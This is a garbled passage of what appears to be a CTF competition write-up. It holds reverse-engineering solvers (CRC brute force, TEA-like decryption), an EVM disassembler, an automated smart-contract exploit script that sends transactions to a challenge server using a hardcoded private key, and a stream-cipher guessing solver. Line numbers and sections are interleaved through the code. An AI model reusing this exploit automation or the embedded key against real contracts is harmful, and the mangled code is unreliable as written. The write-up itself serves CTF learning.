- count); value <<= count; value |= high; return value; } uint64_t decode(uint64_t value) { return 0x756E69636F726E03 * value + 0xBADC0DEC001CAFE; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 const char *testStr[] = { "flag", "FLAG", "qwb{", "QWB{"}; uint8_t xorData[32]; uint32_t data[] = { 300101354, 692449755, 68961085, 1961038602, 1360777330, 876211964, 4117590324, 486061757 }; int main() { uint64_t fuck = 0x5249415452455451; for (int j = 0; j < 32; ++j) { fuck = decode(fuck); uint64_t fuck1 = fuck; uint64_t n = j; for (int i = 0; i != 256; ++i) { fuck = decode(fuck); uint64_t fuck2 = fuck; fuck = decode(fuck); uint64_t fuck3 = fuck; n = __ROL8__((n ^ fuck2) + fuck3 + 33 * n + 1, 13); if ((i & 1) != 0) n = fuck3 ^ (fuck2 + n); if ((i & 2) != 0) n ^= fuck2 + fuck3; if ((i & 4) != 0) n ^= fuck2 ^ fuck3; if ((i & 8) != 0) n += fuck2 + fuck3; } xorData[j] = n + fuck1; 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 } uint32_t pre4Byte[4] = {}; uint64_t subData[4] = {}; for (int i = 0; i < 4; ++i) { uint8_t *ptr = (uint8_t *)&pre4Byte[i]; for (int j = 0; j < 4; ++j) { ptr[j] = testStr[i][j] ^ xorData[j]; } } for (int i = 0; i != 4; ++i) { subData[i] = data[0] - _mm_crc32_u32(0, pre4Byte[i]); printf("%s => %p\n", testStr[i], subData[i]); } // 确定差值为 0x6e191 // for (int i = 0; i < 4; ++i) { // for (uint32_t j = 0; j != 0xffffffff; ++j) { // uint32_t crc = data[1] - subData[i]; // if (crc == _mm_crc32_u32(0,j)) { // uint32_t flag1 = j ^ (*(uint32_t*)&xorData[4]); // printf("subData: %p, flag: %s\n", subData[i], &flag1); // } // } // } for (int i = 0; i < 8; ++i) { for (uint32_t j = 0; j != 0xffffffff; ++j) { uint32_t crc = data[i] - 0x6e191; if (crc == _mm_crc32_u32(0,j)) { uint32_t flag[2]; flag[0] = j ^ (*(uint32_t*)&xorData[4*i]); flag[1] = 0; printf("flag:%s\n", &flag[0]); break; } } } return 0; } 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 LongTimeAgo #include <stdio.h> #include <stdint.h> /* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */ unsigned int fuck_func(int i) { return ((1<<(i-1)) - 1)*0x10+0xd; } void encipher1(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0], v1=v[1], sum=0, delta=0x8F3779E9; while (sum != 0xE6EF3D20) { v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); sum += delta; v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]); } // printf("%x %x\n",v0,v1); v[0]=v0 ^ fuck_func(5); v[1]=v1 ^ fuck_func(6); } void decipher1(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0]^ fuck_func(5), v1=v[1] ^ fuck_func(6), delta=0x8F3779E9, sum=0xE6EF3D20; while (sum != 0) { v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]); sum -= delta; v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); } v[0]=v0; v[1]=v1; } void encipher2(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0], v1=v[1], sum=0, delta=0x3d3529bc; while (num_rounds--) { sum += delta; v0 += ((v1 << 4) + key[0]) ^ ((v1 >> 5) + key[1]) ^ (v1 + sum); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 v1 += ((v0 << 4) + key[2]) ^ ((v0 >> 5) + key[3]) ^ (v0 + sum); // v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); // v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]); } // printf("%x %x\n",v0,v1); v[0]=v0 ^ fuck_func(7); v[1]=v1 ^ fuck_func(8); } void decipher2(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0]^ fuck_func(7), v1=v[1] ^ fuck_func(8), delta=0x3d3529bc, sum=delta * num_rounds; while (num_rounds -- ) { v1 -= ((v0 << 4) + key[2]) ^ ((v0 >> 5) + key[3]) ^ (v0 + sum); v0 -= ((v1 << 4) + key[0]) ^ ((v1 >> 5) + key[1]) ^ (v1 + sum); sum -= delta; } v[0]=v0; v[1]=v1; } int main() { printf("%x\n",fuck_func(5)); // unsigned char test[] = {0x72, 0x67, 0x30, 0x1F, 0x29, 0x0C, 0x5B, 0xB7}; // uint32_t *v = test; uint32_t v1[2]={0x1F306772,0xB75B0C29}; uint32_t const k[4]= {fuck_func(13),fuck_func(14),fuck_func(15),fuck_func(16)}; unsigned int r=32; // printf("%x %x\n",v[0],v[1]); // encipher1(r, v, k); // printf("%x %x\n",v[0],v[1]); // uint32_t v[2]={0xaaaaaaaa,0xaaaaaaaa}; // encipher2(r, v, k); // printf("%x %x ",v[0],v[1]); // decipher2(r, v, k); // printf("%x %x ",v[0],v[1]); decipher1(r, v1, k); printf("%08X%08X",v1[0],v1[1]); uint32_t v2[2]={0x4A7CDBE3,0x2877BDDF}; decipher1(r, v2, k); printf("%08X%08X",v2[0],v2[1]); 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 Crypto BabyAEG 先通过 PUSH 4;EQ 识别 bytecode 中的函数,分析 function ⼊⼝以及接下来的两个 next_block。 通过 CALLVALUE 区分 payable 函数;通过 CALLDATALOAD 区分输⼊参数与类型。 通过已知合约中的特征字符与⼊栈顺序定位 pika key。对合约 function 数量分情况讨论,发送并构造相应 transacion。 opcodes.py uint32_t v3[2]={0x1354C485,0x357C3C3A}; decipher2(r, v3, k); printf("%08X%08X",v3[0],v3[1]); uint32_t v4[2]={0x738AF06C,0x89B7F537}; decipher2(r, v4, k); printf("%08X%08X",v4[0],v4[1]); return 0; } 82 83 84 85 86 87 88 89 90 opcodes = { 0x00: ('STOP', 0, 0, 0), 0x01: ('ADD', 2, 1, 3), 0x02: ('MUL', 2, 1, 5), 0x03: ('SUB', 2, 1, 3), 0x04: ('DIV', 2, 1, 5), 0x05: ('SDIV', 2, 1, 5), 0x06: ('MOD', 2, 1, 5), 0x07: ('SMOD', 2, 1, 5), 0x08: ('ADDMOD', 3, 1, 8), 0x09: ('MULMOD', 3, 1, 8), 0x0A: ('EXP', 2, 1, 10), 0x0B: ('SIGNEXTEND', 2, 1, 5), 0x10: ('LT', 2, 1, 3), 0x11: ('GT', 2, 1, 3), 0x12: ('SLT', 2, 1, 3), 0x13: ('SGT', 2, 1, 3), 0x14: ('EQ', 2, 1, 3), 0x15: ('ISZERO', 1, 1, 3), 0x16: ('AND', 2, 1, 3), 0x17: ('OR', 2, 1, 3), 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 0x18: ('XOR', 2, 1, 3), 0x19: ('NOT', 1, 1, 3), 0x1A: ('BYTE', 2, 1, 3), 0x1B: ('SHL', 2, 1, 3), 0x1C: ('SHR', 2, 1, 3), 0x1D: ('SAR', 2, 1, 3), 0x20: ('SHA3', 2, 1, 30), 0x30: ('ADDRESS', 0, 1, 2), 0x31: ('BALANCE', 1, 1, 20), 0x32: ('ORIGIN', 0, 1, 2), 0x33: ('CALLER', 0, 1, 2), 0x34: ('CALLVALUE', 0, 1, 2), 0x35: ('CALLDATALOAD', 1, 1, 3), 0x36: ('CALLDATASIZE', 0, 1, 2), 0x37: ('CALLDATACOPY', 3, 0, 3), 0x38: ('CODESIZE', 0, 1, 2), 0x39: ('CODECOPY', 3, 0, 3), 0x3A: ('GASPRICE', 0, 1, 2), 0x3B: ('EXTCODESIZE', 1, 1, 20), 0x3C: ('EXTCODECOPY', 4, 0, 20), 0x3D: ('RETURNDATASIZE', 0, 1, 2), 0x3E: ('RETURNDATACOPY', 3, 0, 3), 0x3F: ('EXTCODEHASH', 3, 0, 3), 0x40: ('BLOCKHASH', 1, 1, 20), 0x41: ('COINBASE', 0, 1, 2), 0x42: ('TIMESTAMP', 0, 1, 2), 0x43: ('NUMBER', 0, 1, 2), 0x44: ('DIFFICULTY', 0, 1, 2), 0x45: ('GASLIMIT', 0, 1, 2), 0x46: ('CHAINID', 0, 1, 2), 0x47: ('SELFBALANCE', 0, 1, 5), 0x50: ("POP", 1, 0, 2), 0x51: ("MLOAD", 1, 1, 3), 0x52: ("MSTORE", 2, 0, 3), 0x53: ("MSTORE8", 2, 0, 3), 0x54: ("SLOAD", 1, 1, 50), # 200 now 0x55: ("SSTORE", 2, 0, 0), 0x56: ("JUMP", 1, 0, 8), 0x57: ("JUMPI", 2, 0, 10), 0x58: ("PC", 0, 1, 2), 0x59: ("MSIZE", 0, 1, 2), 0x5A: ("GAS", 0, 1, 2), 0x5B: ("JUMPDEST", 0, 0, 1), 0x5C: ("BEGINSUB", 0, 0, 2), 0x5D: ("RETURNSUB", 0, 0, 5), 0x5E: ("JUMPSUB", 1, 0, 10), 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 0xA0: ("LOG0", 2, 0, 375), 0xA1: ("LOG1", 3, 0, 750), 0xA2: ("LOG2", 4, 0, 1125), 0xA3: ("LOG3", 5, 0, 1500), 0xA4: ("LOG4", 6, 0, 1875), 0xF0: ("CREATE", 3, 1, 32000), 0xF1: ("CALL", 7, 1, 40), # 700 now 0xF2: ("CALLCODE", 7, 1, 40), # 700 now 0xF3: ("RETURN", 2, 0, 0), 0xF4: ("DELEGATECALL", 6, 1, 40), # 700 now 0xF5: ("CREATE2", 3, 1, 32000), 0xFA: ("STATICCALL", 6, 1, 40), 0xFD: ("REVERT", 2, 0, 0), 0xFF: ("SUICIDE", 1, 0, 0), 0x60: ('PUSH1', 0, 1, 3), 0x61: ('PUSH2', 0, 1, 3), 0x62: ('PUSH3', 0, 1, 3), 0x63: ('PUSH4', 0, 1, 3), 0x64: ('PUSH5', 0, 1, 3), 0x65: ('PUSH6', 0, 1, 3), 102: ('PUSH7', 0, 1, 3), 103: ('PUSH8', 0, 1, 3), 104: ('PUSH9', 0, 1, 3), 105: ('PUSH10', 0, 1, 3), 106: ('PUSH11', 0, 1, 3), 107: ('PUSH12', 0, 1, 3), 108: ('PUSH13', 0, 1, 3), 109: ('PUSH14', 0, 1, 3), 110: ('PUSH15', 0, 1, 3), 111: ('PUSH16', 0, 1, 3), 112: ('PUSH17', 0, 1, 3), 113: ('PUSH18', 0, 1, 3), 114: ('PUSH19', 0, 1, 3), 115: ('PUSH20', 0, 1, 3), 116: ('PUSH21', 0, 1, 3), 117: ('PUSH22', 0, 1, 3), 118: ('PUSH23', 0, 1, 3), 119: ('PUSH24', 0, 1, 3), 120: ('PUSH25', 0, 1, 3), 121: ('PUSH26', 0, 1, 3), 122: ('PUSH27', 0, 1, 3), 123: ('PUSH28', 0, 1, 3), 124: ('PUSH29', 0, 1, 3), 125: ('PUSH30', 0, 1, 3), 126: ('PUSH31', 0, 1, 3), 127: ('PUSH32', 0, 1, 3), 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 get_functions.py 128: ('DUP1', 1, 2, 3), 144: ('SWAP1', 2, 2, 3), 129: ('DUP2', 2, 3, 3), 145: ('SWAP2', 3, 3, 3), 130: ('DUP3', 3, 4, 3), 146: ('SWAP3', 4, 4, 3), 131: ('DUP4', 4, 5, 3), 147: ('SWAP4', 5, 5, 3), 132: ('DUP5', 5, 6, 3), 148: ('SWAP5', 6, 6, 3), 133: ('DUP6', 6, 7, 3), 149: ('SWAP6', 7, 7, 3), 134: ('DUP7', 7, 8, 3), 150: ('SWAP7', 8, 8, 3), 135: ('DUP8', 8, 9, 3), 151: ('SWAP8', 9, 9, 3), 136: ('DUP9', 9, 10, 3), 152: ('SWAP9', 10, 10, 3), 137: ('DUP10', 10, 11, 3), 153: ('SWAP10', 11, 11, 3), 138: ('DUP11', 11, 12, 3), 154: ('SWAP11', 12, 12, 3), 139: ('DUP12', 12, 13, 3), 155: ('SWAP12', 13, 13, 3), 140: ('DUP13', 13, 14, 3), 156: ('SWAP13', 14, 14, 3), 141: ('DUP14', 14, 15, 3), 157: ('SWAP14', 15, 15, 3), 142: ('DUP15', 15, 16, 3), 158: ('SWAP15', 16, 16, 3), 143: ('DUP16', 16, 17, 3), 159: ('SWAP16', 17, 17, 3)} 115 116 117 118 import re from opcodes import opcodes regex_PUSH = re.compile(r"^PUSH(\d*)$") class EvmInstruction: """Model to hold the information of the disassembly.""" def __init__(self, address, op_code, argument=None): self.address = address self.op_code = op_code self.argument = argument def to_dict(self) -> dict: """ :return: """ result = {"address": self.address, "opcode": self.op_code} if self.argument: result["argument"] = self.argument return result def disassemble(bytecode: bytes) -> list: instruction_list = [] address = 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 length = len(bytecode) if "bzzr" in str(bytecode[-43:]): # ignore swarm hash length -= 43 while address < length: try: op_code = opcodes[bytecode[address]] except KeyError: instruction_list.append(EvmInstruction(address, "INVALID")) address += 1 continue op_code_name = op_code[0] current_instruction = EvmInstruction(address, op_code_name) match = re.search(regex_PUSH, op_code_name) if match: argument_bytes = bytecode[address + 1 : address + 1 + int(match.group(1))] current_instruction.argument = "0x" + argument_bytes.hex() address += int(match.group(1)) instruction_list.append(current_instruction) address += 1 # We use a to_dict() here for compatibility reasons return [element.to_dict() for element in instruction_list] def is_sequence_match(pattern: list, instruction_list: list, index: int) - > bool: for index, pattern_slot in enumerate(pattern, start=index): try: if not instruction_list[index]["opcode"] in pattern_slot: return False except IndexError: return False return True def find_op_code_sequence(pattern: list, instruction_list: list): for i in range(0, len(instruction_list) - len(pattern) + 1): if is_sequence_match(pattern, instruction_list, i): yield i def find_ins(op,arg,ins_list): 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 for idx,ins in enumerate(ins_list): if ins['opcode'] == op and ins['argument'][2:] == arg: return idx return 0 def get_functions(ins_list): jump_table_indices = find_op_code_sequence( [("PUSH4"), ("EQ")], ins_list ) return jump_table_indices def find_op_code_by_addr(ins_list,address): for idx,ins in enumerate(ins_list): addr = ins["address"] if addr == address: return idx def find_ins_target(function_dest,ins_list): for idx, ins in enumerate(ins_list): addr = ins["address"] if addr == function_dest: return idx # # # with key # bytecode = "60806040526f89a245c5aca9dcc00a66852a25b299a160005561013480610027600039600 0f300608060405260043610610041576000357c01000000000000000000000000000000000 00000000000000000000000900463ffffffff168063d254090214610046575b600080fd5b3 4801561005257600080fd5b50610091600480360381019080803573fffffffffffffffffff fffffffffffffffffffff16906020019092919080359060200190929190505050610093565 b005b6384e5f57463cafebaba82181415610104578173fffffffffffffffffffffffffffff fffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150 290604051600060405180830381858888f19350505050158015610102573d6000803e3d600 0fd5b505b50505600a165627a7a7230582013f1d0b8541db7c398e1649b6f15d2dec5985fe 6bfbad651648421916c1e70be0029" # # # not know payable # # bytecode = "608060405260e0806100126000396000f300608060405260043610603f576000357c01000 00000000000000000000000000000000000000000000000000000900463ffffffff1680633 2d30797146044575b600080fd5b604a604c565b005b600134111560b2573373fffffffffff fffffffffffffffffffffffffffff166108fc3073fffffffffffffffffffffffffffffffff fffffff16319081150290604051600060405180830381858888f1935050505015801560b05 73d6000803e3d6000fd5b505b5600a165627a7a72305820499181223b706020d06813fab3b 6868993170791ed3d4f418895756681542eda0029" # # ins_list = disassemble(bytes.fromhex(bytecode)) # print(ins_list) # jump_tables = get_functions(ins_list) 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 Solver: # print(list(jump_tables)) # functions = [] # tags = [] # runtime = re.split('60806040',bytecode) # runtime = '60806040'+runtime[-1] # for a in jump_tables: # functions.append("0x" + ins_list[a]["argument"][2:].rjust(8, "0")) # function sig # function_dest = int(ins_list[a + 2]['argument'][2:], 16) # # jump_table_indices = find_ins('PUSH4', 'cafebaba', ins_list) # print(ins_list[jump_table_indices-1]) 102 103 104 105 106 107 108 109 110 111 112 import re import web3 from web3 import Web3 from pwn import * from exp2 import getsha256 from get_functions import disassemble, get_functions w3 = Web3(Web3.HTTPProvider('http://8.140.174.230:8545')) my_account = web3.Web3.toChecksumAddress( '0x80c6CA0F2066e0DB7dA39d40eDC01885C08548F5') private_key = '0xa2e67b010e77dda45b43617db5a7bf3d390b6a21f80d3145ce5c5d4fb97ab308' mytx_account = w3.eth.account.from_key(private_key) context.log_level = 'debug' class Block: def __init__(self, ins): self.ins = ins self.ins_list = [] for i in ins: self.ins_list.append(i['opcode']) def build_tx(sig, con_address, datas=[], msg_value=0, offset_nonce=0): tx = { 'from': my_account, 'to': con_address, 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 'value': msg_value, 'gas': 210000, 'nonce': w3.eth.getTransactionCount(my_account)+offset_nonce, 'gasPrice': 10, 'chainId': 8888, 'data': bytes.fromhex(sig[2:]) } for d in datas: tx['data'] += bytes.fromhex(d).rjust(32, b"\x00") return tx def send(tx): r_tx = mytx_account.sign_transaction(tx) f_tx = r_tx.rawTransaction ret1 = w3.eth.send_raw_transaction(f_tx) _ = w3.eth.wait_for_transaction_receipt(ret1) return ret1 def find_addr(inss): for ins in inss: if 'argument' in ins.keys() and '0xffffffffffffffffffffffffffffffffffffffff' == ins['argument']: return True return False def anaylse_function(function, blocks): (sig1, calling1), = function.items() next_block = blocks[calling1] if "CALLVALUE" in next_block.ins_list: payable = False next_block = blocks[int(next_block.ins[-2]['argument'], 16)] args = next_block.ins_list.count("CALLDATALOAD") addr_arg = find_addr(next_block.ins) else: payable = True addr_arg = False args = 0 return payable, args, addr_arg def divide_blocks(ins_list): blocks = {} old_idx = 0 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 for idx in range(0, len(ins_list)): if ins_list[idx]['opcode'] in ['STOP', 'JUMP', 'JUMPI', 'RETURN', 'REVERT', 'INVALID']: tmp = Block(ins_list[old_idx:idx + 1]) blocks[ins_list[old_idx]['address']] = tmp old_idx = idx + 1 idx += 1 return blocks def get_analyzed(functions, blocks): func_list = [] for func in functions: (sig, calling), = func.items() payable, args, addr_arg = anaylse_function(func, blocks) func_list.append({sig: [payable, args, addr_arg]}) return func_list def deep_in_block(block, runtime, blocks): dura = runtime[block.ins[0]['address']*2:block.ins[-1]['address']*2] if "60038190" in dura: return True elif block.ins[-1]['opcode'] in ['STOP', 'RETURN', 'REVERT', 'INVALID']: return try: next_block = blocks[int(block.ins[-2]['argument'], 16)] ret = deep_in_block(next_block, runtime, blocks) return ret except: return def gen_functions(bytecode, con_address): runtime = re.split('60806040', bytecode) runtime = '60806040' + runtime[-1] ins_list = disassemble(bytes.fromhex(runtime)) jump_tables = get_functions(ins_list) blocks = divide_blocks(ins_list) functions = [] for a in jump_tables: functions.append( {"0x" + ins_list[a]["argument"][2:].rjust(8, "0"): int(ins_list[a + 2]["argument"][2:], 16)}) owner = "0x8da5cb5b" 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 for func in functions: (sig, calling), = func.items() if owner == sig: functions.remove(func) break print(functions) func_list = get_analyzed(functions, blocks) if len(func_list) == 1: (sig, features), = func_list[0].items() # payablue payable, args, addr_arg if features[0]: tx = build_tx(sig, con_address, datas=[], msg_value=30) rec = send(tx) return rec elif "cafeba" in runtime: pika = runtime.split("cafeba")[0][-10:-2] key = "cafeba"+runtime.split("cafeba")[1][:2] # print("get_key",pika,key) in_key = int(key, 16) ^ int(pika, 16) tx = build_tx(sig, con_address, datas=[ my_account[2:], hex(in_key)[2:].rjust(8, '0')]) rec = send(tx) return rec else: tx = build_tx(sig, con_address, datas=[my_account[2:]]) rec = send(tx) return rec if len(func_list) == 6: txs = [None] * 3 for func in functions: (sig, pos), = func.items() ret = deep_in_block(blocks[pos], runtime, blocks) if ret: (sig4, _), = func.items() print("find", func) break for func in func_list: (sig, feature), = func.items() if feature[1] == 0: txs[2] = build_tx(sig, con_address, datas=[], offset_nonce=2) elif feature[2]: # isaddr txs[1] = build_tx(sig, con_address, datas=[ my_account[2:]], offset_nonce=1) txs[0] = build_tx(sig4, con_address, datas=['029a']) 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 print("txsss", txs) for tx in txs: rec = send(tx) print("midL", rec) return rec if len(func_list) == 3: txs = [None] * 3 for func in func_list: (sig, feature), = func.items() # arg == 0 if feature[1] == 0: txs[2] = build_tx(sig, con_address, offset_nonce=2) # is addr elif feature[2]: txs[1] = build_tx(sig, con_address, datas=[ my_account[2:]], offset_nonce=1) else: txs[0] = build_tx(sig, con_address, datas=['0640c9']) for tx in txs: rec = send(tx) print("midL", rec) return rec if len(func_list) == 2: tag = "afebab" (sig1, feature1), = func_list[0].items() (sig2, feature2), = func_list[1].items() if feature1[1] + feature2[1] == 1: txs = [None] * 2 if feature1[1]: txs[0] = build_tx(sig1, con_address, datas= [my_account[2:]]) txs[1] = build_tx(sig2, con_address, datas=[], offset_nonce=1) else: txs[0] = build_tx(sig2, con_address, datas= [my_account[2:]]) txs[1] = build_tx(sig1, con_address, datas=[], offset_nonce=1) for tx in txs: rec = send(tx) print("modl222112", rec) return rec elif tag in runtime: txs = [None] * 2 pika = runtime.split(tag)[0][-11:-3] 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 key = runtime.split(tag)[0][-1]+"afebab" + runtime.split(tag) [1][0] in_key = int(pika, 16) ^ int(key, 16) if feature1[2]: txs[0] = build_tx(sig1, con_address, datas= [my_account[2:]]) txs[1] = build_tx(sig2, con_address, datas=[ hex(in_key)[2:].rjust(8, '0')], offset_nonce=1) else: txs[0] = build_tx(sig2, con_address, datas= [my_account[2:]]) txs[1] = build_tx(sig1, con_address, datas=[ hex(in_key)[2:].rjust(8, '0')], offset_nonce=1) for tx in txs: rec = send(tx) print("modl43423", rec) return rec elif "640c8" in runtime and "640ca" in runtime: txs = [None]*2 if feature1[2]: txs[1] = build_tx(sig1, con_address, datas=[ my_account[2:]], offset_nonce=1) txs[0] = build_tx(sig2, con_address, datas=['0640c9']) else: txs[1] = build_tx(sig2, con_address, datas=[ my_account[2:]], offset_nonce=1) txs[0] = build_tx(sig1, con_address, datas=['0640c9']) for tx in txs: rec = send(tx) print("modl6654645", rec) return rec else: # check if "151515" in runtime: txs = [None]*2 if feature1[2]: txs[1] = build_tx(sig1, con_address, datas=[ my_account[2:]], offset_nonce=1) txs[0] = build_tx(sig2, con_address, datas=['01']) else: txs[1] = build_tx(sig2, con_address, datas=[ my_account[2:]], offset_nonce=1) txs[0] = build_tx(sig1, con_address, datas=['01']) else: txs = [None] * 3 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 if feature1[2]: txs[2] = build_tx(sig1, con_address, datas=[ my_account[2:]], offset_nonce=2) txs[1] = build_tx(sig2, con_address, datas=[ '02'], offset_nonce=1) txs[0] = build_tx(sig2, con_address, datas=['01']) else: txs[2] = build_tx(sig2, con_address, datas=[ my_account[2:]], offset_nonce=2) txs[1] = build_tx(sig1, con_address, datas=[ '02'], offset_nonce=1) txs[0] = build_tx(sig1, con_address, datas=['01']) for tx in txs: rec = send(tx) print("modl", rec) return rec return None if __name__ == "__main__": # pow io = remote('8.140.174.230', 10001) base = string.ascii_letters + string.digits io.recvuntil("sha256(") s = io.recvuntil("+?)")[:-3] ret = getsha256(s) io.sendline(ret) io.recvuntil("Your EOA account:") account = io.recvline().strip() account = web3.Web3.toChecksumAddress(str(account, encoding="utf-8")) tx = { 'from': my_account, 'to': account, # 2047899999999790000 'value': 4000000000000000000, 'gas': 21000, 'nonce': w3.eth.getTransactionCount(my_account), 'gasPrice': 10, 'chainId': 8888 } r_tx = mytx_account.sign_transaction(tx) print(w3.eth.getBalance(my_account)) f_tx = r_tx.rawTransaction ret1 = w3.eth.send_raw_transaction(f_tx) receipt = w3.eth.wait_for_transaction_receipt(ret1) io.recv() 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 guess_game Submission Time: 12:26 PM Randomly generate 100 pairs of keys and ivs to observe which bits are unrelated (or be related with a very small probability) to keys and ivs, and tabulate their values and the corresponding inputs: io.sendline('y') # ---- with challenge for _ in range(25): io.recvuntil('bytecode:') bytecode = io.recvline().strip() bytecode = str(bytecode, encoding="utf-8").strip() print("bytecode:", bytecode) io.recv(timeout=1000) # [+] Wait for deploying......\n ori = io.recv() tx_hash = ori.strip()[-66:] tx_hash = str(tx_hash, encoding="utf-8")[2:] # print("tx_hash:", tx_hash) con_address = w3.eth.getTransactionReceipt( bytes.fromhex(tx_hash))['contractAddress'] print("Contract_address:", con_address) rec = gen_functions(bytecode, con_address) print(io.recv()) print("my rec", rec) io.sendline("0x"+rec.hex()) io.interactive() 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 c = [[0]*160 for i in range(160)] for i in range(16000): guess = i%160 k = guess // 2 m = guess % 10 if m == 0: m = 10 key = bin(random.getrandbits(80))[2:].zfill(80) key = list(map(int, key)) iv = bin(random.getrandbits(64))[2:].zfill(64) iv = list(map(int, iv)) a = generator(key, iv, False) b = generator(key, iv, True, k, m) for j in range(160): 1 2 3 4 5 6 7 8 9 10 11 12 13 14 Solver: c[j][guess] += a.PRGA()^b.PRGA() ans = [] for i in range(160): tmp = '' for j in range(160): if(c[j][i]==100): tmp += '1' elif(c[j][i]==0): tmp += '0' else: tmp += '?' ans += [tmp] print(ans) 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import * HOST = POST = r = remote(HOST,POST) context.log_level = 'debug' rec = r.recvline().strip().decode() suffix = rec.split("+ ")[1].split(")")[0] digest = rec.split("== ")[1] log.info(f"suffix: {suffix}\ndigest: {digest}") for comb in product(ascii_letters+digits, repeat=4): prefix = ''.join(comb) if sha256((prefix+suffix).encode()).hexdigest() == digest: print(prefix) break else: log.info("PoW failed") r.sendlineafter(b"give me xxxx:", prefix.encode()) table = ['11111100100000000?????????? 1111111???????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????', '00000000000000000?0000001000000000??0?000?10??00010?????0??????????? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 0?????????????????????????????????????????????????????????????????????????? ?????????????????', '010000000000000000??000001100000000?????00??1??? 0011??????????????????????????????????????????????????????????????????????? ?????????????????????????????????????', '001000000000000000??? 00001110000000??????0??????? 011???????????????????????????????????????????????????????????????????????? ????????????????????????????????????', '0100100000000000000???? 0001111000000??????????????? 11????????????????????????????????????????????????????????????????????????? ??????????????????????????????????', '0110010000000000000????? 001111100000???????????????? 1?????????????????????????????????????????????????????????????????????????? ?????????????????????????????????', '10111001000000000000?????? 01111110000???????????????????????????????????????????????????????????????? ???????????????????????????????????????????????????????????', '10111100100000000?00???????1111111?? 0?????????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????', '00011111001000000??? 0???????? 11111?????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????????', '00111111100100000????????????? 1111??????????????????????????????????????????????????????????????????????? ???????????????????????????????????????????????????????', '10010111111001000??????????????? 11????????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????????', '0101100000000000000000?0000001000000000??0?000?10??00010????? 0?????????????????????????????????????????????????????????????????????????? ????????????????????????', '00111010000000000000000??000001100000000????? 00??1??? 0011??????????????????????????????????????????????????????????????????????? ????????????????????????????????', '00110001000000000000000??? 00001110000000??????0??????? 011???????????????????????????????????????????????????????????????????????? ???????????????????????????????', '10011010010000000??00000????000111????? 00????????????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????', '11011011001000000??? 0000?????00111?????? 0?????????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????', '11111101110010000????? 00??????? 011???????????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????', '11110101111001000??????0???????? 11????????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????????', '11111000111110010????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', 